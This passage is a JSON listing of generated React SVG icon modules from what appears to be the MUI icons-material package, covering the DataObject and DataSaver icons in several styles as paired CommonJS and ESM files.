    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c-2.89 0-5.43-1.54-6.83-3.84l2.95-2.95L11.41 16 16 11.42V13h2V8h-5v2h1.58l-3.28 3.28L8 10.5l-3.69 3.7C4.11 13.5 4 12.76 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8m7.5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10h8c1.1 0 2-.9 2-2v-8c0-5.52-4.48-10-10-10m0 18c-2.89 0-5.43-1.54-6.83-3.84l2.95-2.95L11.41 16 16 11.42V13h2V8h-5v2h1.58l-3.28 3.28L8 10.5l-3.69 3.7C4.11 13.5 4 12.76 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8m7.5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'DataExplorationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataObject.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7v2c0 .55-.45 1-1 1H2v4h1c.55 0 1 .45 1 1v2c0 1.65 1.35 3 3 3h3v-2H7c-.55 0-1-.45-1-1v-2c0-1.3-.84-2.42-2-2.83v-.34C5.16 11.42 6 10.3 6 9V7c0-.55.45-1 1-1h3V4H7C5.35 4 4 5.35 4 7m17 3c-.55 0-1-.45-1-1V7c0-1.65-1.35-3-3-3h-3v2h3c.55 0 1 .45 1 1v2c0 1.3.84 2.42 2 2.83v.34c-1.16.41-2 1.52-2 2.83v2c0 .55-.45 1-1 1h-3v2h3c1.65 0 3-1.35 3-3v-2c0-.55.45-1 1-1h1v-4z\"\n}), 'DataObject');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataObject.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7v2c0 .55-.45 1-1 1H2v4h1c.55 0 1 .45 1 1v2c0 1.65 1.35 3 3 3h3v-2H7c-.55 0-1-.45-1-1v-2c0-1.3-.84-2.42-2-2.83v-.34C5.16 11.42 6 10.3 6 9V7c0-.55.45-1 1-1h3V4H7C5.35 4 4 5.35 4 7m17 3c-.55 0-1-.45-1-1V7c0-1.65-1.35-3-3-3h-3v2h3c.55 0 1 .45 1 1v2c0 1.3.84 2.42 2 2.83v.34c-1.16.41-2 1.52-2 2.83v2c0 .55-.45 1-1 1h-3v2h3c1.65 0 3-1.35 3-3v-2c0-.55.45-1 1-1h1v-4z\"\n}), 'DataObject');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataObjectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7v2c0 .55-.45 1-1 1H2v4h1c.55 0 1 .45 1 1v2c0 1.65 1.35 3 3 3h3v-2H7c-.55 0-1-.45-1-1v-2c0-1.3-.84-2.42-2-2.83v-.34C5.16 11.42 6 10.3 6 9V7c0-.55.45-1 1-1h3V4H7C5.35 4 4 5.35 4 7m17 3c-.55 0-1-.45-1-1V7c0-1.65-1.35-3-3-3h-3v2h3c.55 0 1 .45 1 1v2c0 1.3.84 2.42 2 2.83v.34c-1.16.41-2 1.52-2 2.83v2c0 .55-.45 1-1 1h-3v2h3c1.65 0 3-1.35 3-3v-2c0-.55.45-1 1-1h1v-4z\"\n}), 'DataObjectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataObjectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7v2c0 .55-.45 1-1 1H2v4h1c.55 0 1 .45 1 1v2c0 1.65 1.35 3 3 3h3v-2H7c-.55 0-1-.45-1-1v-2c0-1.3-.84-2.42-2-2.83v-.34C5.16 11.42 6 10.3 6 9V7c0-.55.45-1 1-1h3V4H7C5.35 4 4 5.35 4 7m17 3c-.55 0-1-.45-1-1V7c0-1.65-1.35-3-3-3h-3v2h3c.55 0 1 .45 1 1v2c0 1.3.84 2.42 2 2.83v.34c-1.16.41-2 1.52-2 2.83v2c0 .55-.45 1-1 1h-3v2h3c1.65 0 3-1.35 3-3v-2c0-.55.45-1 1-1h1v-4z\"\n}), 'DataObjectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataObjectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7v2c0 .55-.45 1-1 1s-1 .45-1 1v2c0 .55.45 1 1 1s1 .45 1 1v2c0 1.66 1.34 3 3 3h2c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1-.45-1-1v-2c0-1.3-.84-2.42-2-2.83v-.34C5.16 11.42 6 10.3 6 9V7c0-.55.45-1 1-1h2c.55 0 1-.45 1-1s-.45-1-1-1H7C5.34 4 4 5.34 4 7m17 3c-.55 0-1-.45-1-1V7c0-1.66-1.34-3-3-3h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1 .45 1 1v2c0 1.3.84 2.42 2 2.83v.34c-1.16.41-2 1.52-2 2.83v2c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c1.66 0 3-1.34 3-3v-2c0-.55.45-1 1-1s1-.45 1-1v-2c0-.55-.45-1-1-1\"\n}), 'DataObjectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataObjectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7v2c0 .55-.45 1-1 1s-1 .45-1 1v2c0 .55.45 1 1 1s1 .45 1 1v2c0 1.66 1.34 3 3 3h2c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1-.45-1-1v-2c0-1.3-.84-2.42-2-2.83v-.34C5.16 11.42 6 10.3 6 9V7c0-.55.45-1 1-1h2c.55 0 1-.45 1-1s-.45-1-1-1H7C5.34 4 4 5.34 4 7m17 3c-.55 0-1-.45-1-1V7c0-1.66-1.34-3-3-3h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1 .45 1 1v2c0 1.3.84 2.42 2 2.83v.34c-1.16.41-2 1.52-2 2.83v2c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c1.66 0 3-1.34 3-3v-2c0-.55.45-1 1-1s1-.45 1-1v-2c0-.55-.45-1-1-1\"\n}), 'DataObjectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataObjectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10H2v4h2v6h6v-2H6v-5.5H4v-1h2V6h4V4H4zm16 0V4h-6v2h4v5.5h2v1h-2V18h-4v2h6v-6h2v-4z\"\n}), 'DataObjectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataObjectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10H2v4h2v6h6v-2H6v-5.5H4v-1h2V6h4V4H4zm16 0V4h-6v2h4v5.5h2v1h-2V18h-4v2h6v-6h2v-4z\"\n}), 'DataObjectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataObjectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7v2c0 .55-.45 1-1 1H2v4h1c.55 0 1 .45 1 1v2c0 1.65 1.35 3 3 3h3v-2H7c-.55 0-1-.45-1-1v-2c0-1.3-.84-2.42-2-2.83v-.34C5.16 11.42 6 10.3 6 9V7c0-.55.45-1 1-1h3V4H7C5.35 4 4 5.35 4 7m17 3c-.55 0-1-.45-1-1V7c0-1.65-1.35-3-3-3h-3v2h3c.55 0 1 .45 1 1v2c0 1.3.84 2.42 2 2.83v.34c-1.16.41-2 1.52-2 2.83v2c0 .55-.45 1-1 1h-3v2h3c1.65 0 3-1.35 3-3v-2c0-.55.45-1 1-1h1v-4z\"\n}), 'DataObjectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataObjectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7v2c0 .55-.45 1-1 1H2v4h1c.55 0 1 .45 1 1v2c0 1.65 1.35 3 3 3h3v-2H7c-.55 0-1-.45-1-1v-2c0-1.3-.84-2.42-2-2.83v-.34C5.16 11.42 6 10.3 6 9V7c0-.55.45-1 1-1h3V4H7C5.35 4 4 5.35 4 7m17 3c-.55 0-1-.45-1-1V7c0-1.65-1.35-3-3-3h-3v2h3c.55 0 1 .45 1 1v2c0 1.3.84 2.42 2 2.83v.34c-1.16.41-2 1.52-2 2.83v2c0 .55-.45 1-1 1h-3v2h3c1.65 0 3-1.35 3-3v-2c0-.55.45-1 1-1h1v-4z\"\n}), 'DataObjectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8v3H8v2h3v3h2v-3h3v-2h-3V8zm2-5.95v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8v3H8v2h3v3h2v-3h3v-2h-3V8zm2-5.95v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8v3H8v2h3v3h2v-3h3v-2h-3V8zm2-5.95v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8v3H8v2h3v3h2v-3h3v-2h-3V8zm2-5.95v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2V9c0-.55-.45-1-1-1s-1 .45-1 1zm1 8c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19m1-16.95v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95\"\n}), 'DataSaverOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2V9c0-.55-.45-1-1-1s-1 .45-1 1zm1 8c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19m1-16.95v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95\"\n}), 'DataSaverOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8v3H8v2h3v3h2v-3h3v-2h-3V8zm2-5.95v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8v3H8v2h3v3h2v-3h3v-2h-3V8zm2-5.95v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOnTwoTone.js",
